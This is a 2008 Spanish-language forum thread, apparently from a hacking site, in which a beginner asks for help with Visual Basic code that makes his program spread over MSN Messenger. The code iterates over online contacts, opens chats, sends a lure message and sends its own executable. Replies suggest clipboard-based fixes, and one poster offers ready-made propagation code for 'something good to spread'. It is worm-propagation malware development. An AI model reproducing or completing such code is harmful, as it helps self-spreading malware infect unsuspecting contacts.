Duda con enviar archivos por MSN

Iniciado por hAcKeR92, 9 Marzo 2008, 23:41 PM

0 Miembros y 2 Visitantes están viendo este tema.

hAcKeR92

Hola de nuevo!!!

A ver, tengo una duda que se me planteo siguiendo la guia del hendrix.
Estuve intentando que mi archivo se propagase por MSN, pero no lo consigo.
Hago la prueba con dos ordenadores de mi casa con dos cuentas de MSN diferentes, consigo enviar el mensaje, pero en vez de enviar el archivo, se queda en la pantalla donde seleccionar el archivo...

El codigo:

Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "TEXTO DE PRUEBA") 'Mensaje a enviar
EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar
End Sub


seria buenisimo si me consiguen ayudar, ya que estoy muy interesado en VB..

Un saludo

PD: creo que el fallo esta donde enviarfile noseque, l ' Archivo a enviar
pero no se....

naderST

dame algo mas de codigo o el link de donde te estas guiando porfavor asi te puedo ayudar.

hAcKeR92

Este es el codigo entero:

Private Sub Form_Load()
On Error GoTo NotCompatible
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo
End If
Next
Exit Sub
NotCompatible:
MsgBox "No tienes MSN instalado en el sistema", vbCritical, "Error"
End Sub

Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "TEXTO DE PRUEBA") 'Mensaje a enviar
EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar
End Sub

Public Sub SendText(pIMWindow As Long, sText As String)
Dim hDirectUI As Long, hPrevWnd As Long
Dim i As Integer
hDirectUI = pIMWindow
Do
Call SetForegroundWindow(hDirectUI)
Loop Until GetForegroundWindow = hDirectUI
For i = 1 To Len(sText)
Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&)
Next i
Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&)
End Sub

Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean
Dim X As Long
Dim Edit As Long
Dim ParentHWnd As Long
Dim fWindowText As Object
Dim hWndText As String
Dim t As Single
Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0)
DoEvents
X = GetWindow(GetDesktopWindow(), GW_CHILD)
hWndText = fWindowText(X)
t = Timer
Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0))
X = GetWindow(X, GW_HWNDNEXT)
hWndText = fWindowText(X)
If Format(Timer - t, "0.00") > 5 Then GoTo FIN
Loop
Edit = FindWindowEx(X, 0, "Edit", vbNullString)
If Edit = 0 Then
Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString)
Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString)
End If
If Edit = 0 Then Exit Function
Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath)
Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&)
EnviarFile = True
FIN:
End Function

krackwar

no lei el code pero una manera de emviar archivos por msn(facil) es que copie el archivo en el portapapeles i lo pege en todas las ventanas que digan comversacion
Mi blog
Bienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran.
El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.

hAcKeR92


3k1n0x

men, si kieres con una condicion yo te paso el codigo listico, yo lo hice hace tiempo, q se meta en un zip y luego al portapapeles y blablabla, el problema viene a la hora de que es lo que quieres q se propague, si tienes algo muy bueno para propagar me dices y si es en c++ mejor salu2s
T3fL0n -> 3k1n0x

naderST

te recomeindo que lo hagas con el api del MSN y copiandolo al clipboard es mejor

hAcKeR92

vale, pero me podeis decir como se copia al portapapeles en VB???
soy principiante y no entiendo mucho...

mojolloyo20

bueno seria una cosa asin

Dim app(0) As String
app(0) = "C:\archivo a enviar.zip"
If ClipboardCopyFiles(app) = True Then ' se copia en el portapapeles el archivo archivo a enviar.zip


yo aria que el front ,se pusiera las 10 ultimas letras del titulo de la ventana, la cual esta activa,que seria la del msn conversacion,haciendole un foco o algo asin

y despues si el nombre del front1 es = a las 10 ultimas letras,pos ya seguiriamos con el codigo anterior.

guardando el archivo en el clipboar ese y enviandole el archivo y las SendKeys


espero que me entiendas y averte ayudado en algo.


yo hace timer intente con ese codigo de hendrix y no saque nada.

te ba bien lo de ir de contacto en contacto?si estan online?

me parecio leeer por hay algo de que lo kitaron,pero no lo creo

pero si alguien puede dar+info

posdata:tampoco me agas mucho caso que yo de vb muy poco.

salu2
Lo reconozco
fumo porros a diario
me fumo uno y es como poner la radio
pero por dentro de mi amarga cabeza
siempre tan sola y tan llena de tristeza
Me salen la s canciones que a mí más me molan
las musiquillas que ha mí más me motivan
las amarguras se vuelven amapolas
y las tristezas me alegran la vida
Anda dame que fume
porque me siento sólo
dame de fumar
porque no quiero estar triste

cassiani

#9
Cita de: hAcKeR92 en 10 Marzo 2008, 08:40 AM
pero me podeis decir como se copia al portapapeles en VB???

Usa el modulo que dejo Cobein:
http://www.recursosvisualbasic.com.ar/foro/copiar-archivos-al-portapapeles-t1630.0.html


Si el enlace no te funciona entones usa este otro, ya había sido posteado es este subforo.
http://foro.elhacker.net/index.php/topic,199434.msg948044.html

http://foro.elhacker.net/index.php/topic,180904.0.html

Código (vb) [Seleccionar]
Private Sub CmdCopiarArchivo_Click()
Dim Cadena As String
    Cadena = App.Path & "/" & App.EXEName & ".exe"
    CopyClipboard Me.hWnd, Array(Cadena)
End Sub


¡S4lu2!